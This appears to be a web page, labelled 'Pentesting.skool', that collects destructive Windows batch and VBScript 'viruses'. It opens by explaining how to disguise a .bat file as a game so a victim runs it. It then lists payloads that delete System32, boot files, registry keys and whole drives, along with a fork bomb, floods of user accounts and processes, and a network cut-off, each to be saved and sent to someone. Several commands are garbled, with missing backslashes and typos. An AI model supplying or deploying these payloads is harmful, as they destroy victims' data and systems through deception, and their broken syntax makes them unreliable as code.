Pentesting.skool

Hide These .bat files.

Windows doesn’t allow to change the icon of .bat files. Therefore what you can do is :

>> Right-click on the .bat file
>> Click on CREATE SHORTCUT
>> And hide the original file.
>> Now as this newly created file is just the shortcut, you can easily change its icon.
>> Right-click on this shortcut
>> properties >>>..cutomize>>..choose icon
>> Now give an attractive icon to it.
>> Now name it something interesting. eg. PROTOTYPE or IGI etc.
>> Now your victim would think it to be the game, and he will be easily corrupted.



OR

Download BatToExe Converter to convert batch files to executables.

Damage to registry

Save these with any name having .bat extension and the batch file is created.

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll   
START reg delete HKCR/*

This will delete key registry files, then loops a message.

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your PC has been crashed.Your Dad.
GOTO MESSAGE

Stop Internet

Save these with any name having .bat extension and send it to someone. They’re IP address will be lost, and therefore they won’t be able to fix it.

To fix it type IPconfig/renew.

@Echo off
pconfig /release

Delete System 32 Folder

Save it as update.bat

If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc can’t be started.

del c:WINDOWSsystem32*.*/q

Format drives

Save it with any name having .bat extension

This virus Formats the C ,D , and E Drive.

“rd/s/q D:
rd/s/q C:
rd/s/q E:”

This will delete your whole C:\ drive and it really unrecoverable

@Echo off
Del C:\ *.* |y

Shut Down PC with I Love You Messege

Save it with .bat extension and send it.

@echo off
msg * I Love You
shutdown -c “Error! I Am In Love With You” -s

Process Creator

This will create unlimited background processes.

%0|%0

Temporary Flood Network

Save it with .bat extension.

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

Toggle your friend’s Caps Lock button simultaneously

Save it with .vbs extension.

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

Hit Enter simultaneously

Save it with .vbs extension.

Set wshShell = wscript.CreateObject(“WScript.Shell“)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

Crash Computers

Save it with .vbs extension.

Option Explicit
Dim WSHShell
Set WSHShell=Wscript.CreateObject(“Wscript.Shell”)
Dim x
For x = 1 to 100000000
WSHShell.Run “Tourstart.exe”
Next

Virus to crash Windows, Save it with .bat extension.

@Echo off
Del C: *.* |y

Another Virus to crash Windows, it will pop-up a messagae YOU GOT OWNED!!! and Shut Down The Computer Never To Reboot Again! , Save it with .bat extension.

@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c “A VIRUS IS TAKING OVER c:Drive

Folder and User Account Flood

This will create unlimited no. of folders.

@echo off
:x
md %random%
/folder.
goto x

This will create large no. of the user account on one’s PC and goes on.

@echo off
:xnet
user %random% /add
goto x

Popping out CD drives.

This will make the CD drives constantly pop out. Save it with .bat extension.

Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop

Change Files To Non-working TXT Files

Save with .bat extension.

REN *.DOC *.TXT REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

Application Bomber

Save these with any name having .bat extension. It will start to open different applications repeatedly which will affect the system’s performance.

You can also add the application of your choice in the below code.

@echo off
start winword
start mspaint
start notepad
start write
start cmd
start explorer    
start control
start calc
goto x

This will pop up endless notepads until the computer freezes and crashes

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top